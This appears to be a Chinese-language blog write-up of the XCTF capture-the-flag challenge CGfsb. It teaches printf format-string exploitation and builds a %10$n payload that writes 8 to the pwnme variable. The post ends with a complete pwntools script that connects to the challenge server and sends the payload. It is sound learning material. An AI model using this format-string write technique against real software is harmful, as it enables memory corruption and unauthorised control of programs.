Featured image of post Pwn-CGfsb

Pwn-CGfsb

来自 xctf 的一道格式化字符串漏洞的 pwn 题

前置知识:printf

printf 可能对于大多数人来说非常熟悉了,不就是打印一些字符串吗?然而,printf 可不止那么简单……
如果我们运行以下命令:

1
printf("%x %x %x");

输出总是随机的值比如:

1
61ea5728 61ea5738 f64e6dd8

但是实际上,这只是内存数据上的随机,而她们实际上是 3 个栈上的连续内存地址。

n$ 参数字段

这里的 n 代表数字,用于选择第几个参数
比如 1$ 代表第一个参数, 3$ 代表参数 3。
运行 printf 的时候这些参数都会跟着入栈。

%n 格式化符

不产生任何输出,相反,到目前为止函数所产生的输出字符串数目将被保存到对应的参数中。

分析程序

32 位 elf 文件。有金丝雀保护,不过我现在还不知道 canary 到底怎么保护栈溢出。反正本题也不需要。

直接丢 ida pro 分析 main 函数。
可以看到要想获得 flag 就必须要让 pwnme 这个变量为 8。
在这里我们可以看到 pwnme 位于 .bss 字段,也获得了它的地址。现在就是要寻找到改写这个地址数据的方法了。
发现 printf(s) ,没有什么保护措施,可以尝试用格式化字符串漏洞来对 pwnme 地址写入。
首先看看 s 字符串,使用 fgets 从 stdin 读得,我们可以先尝试往 s 添几个格式化符试试:
确实是可行的,那么我们就一鼓作气先写个 pyton 脚本看看:
可以发现这里读到的参数到第 10 个为 aaaa 的 16 进制
至于为什么是第 10 个,大抵是因为 fgets 作妖吧。
可以通过如下 python 代码判断出它是 aaaa:

1
 b'aaaa'.hex() # 输出:'61616161'

那么我们可以尝试将这个替换为 pwnme 的地址,然后将 8 以某种方式丢到这个地址的数据中。就可以拿到 flag 了。

%10$n 的作用

%n 获取 printf 函数的输出长度
10$ 从栈上取第 10 个参数
和起来就是向栈上第 10 个参数写入到这个参数值所指向的内存地址。
那么我们可以分析下,如果我们第一个参数放 pwnme 的地址,那么它在 32 位中占 4 个字节,然后我们再补上 4 个字节的数据就是我们所要的 8 。然后通过 %10$n 就能向 pwnme 写入数据 8 了。
这样就能写出攻击载荷:

1
payload = p32(0x0804A068) + b'aaaa%10$n'

这时候我们向 s 字符串注入载荷就能进行覆写。
完整 python 脚本如下:

1
2
3
4
5
6
7
8
from pwn import *

r = remote("61.147.171.35", 62574)
payload = p32(0x0804A068) + b'aaaa%10$n'
print(payload)
r.sendlineafter("please tell me your name:", b'A')
r.sendlineafter("leave your message please:", payload)
r.interactive()

参考资料

  1. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
萌ICP备20241614号